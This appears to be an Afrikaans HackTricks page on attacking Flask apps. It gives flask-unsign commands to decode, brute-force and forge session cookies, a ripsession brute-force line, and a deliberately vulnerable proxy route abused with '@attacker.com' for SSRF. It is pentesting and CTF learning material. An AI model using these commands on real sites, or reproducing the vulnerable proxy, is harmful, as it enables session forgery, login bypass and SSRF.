hacktricks/network-services-pentesting/pentesting-web/flask.md

5.6 KiB

Flask

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.

Cookies

Verstek koekiesessienaam is session.

Decoder

Aanlyn Flask-koekiesontleder: https://www.kirsle.net/wizards/flask-session.cgi

Handleiding

Kry die eerste deel van die koekie tot by die eerste punt en Base64-ontsleutel dit>

echo "ImhlbGxvIg" | base64 -d

Die koekie word ook onderteken met 'n wagwoord

Flask-Unsign

Opdraglynwerktuig om sessiekoekies van 'n Flask-toepassing te haal, ontsluit, kragtig aan te val en te skep deur geheime sleutels te raai.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodeer Koekie

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Ondertekening

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met behulp van ouer weergawes (legasi)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies wat geskep is met flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi in Flask sessie koekie met SQLmap

Hierdie voorbeeld gebruik sqlmap eval opsie om outomaties sqlmap payloads te teken vir flask deur 'n bekende geheim te gebruik.

Flask Proksi na SSRF

In hierdie skryfstuk word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Watter in die volgende scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.

Gebruik Trickest om maklik werkstrome te bou en outomatiseer met die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: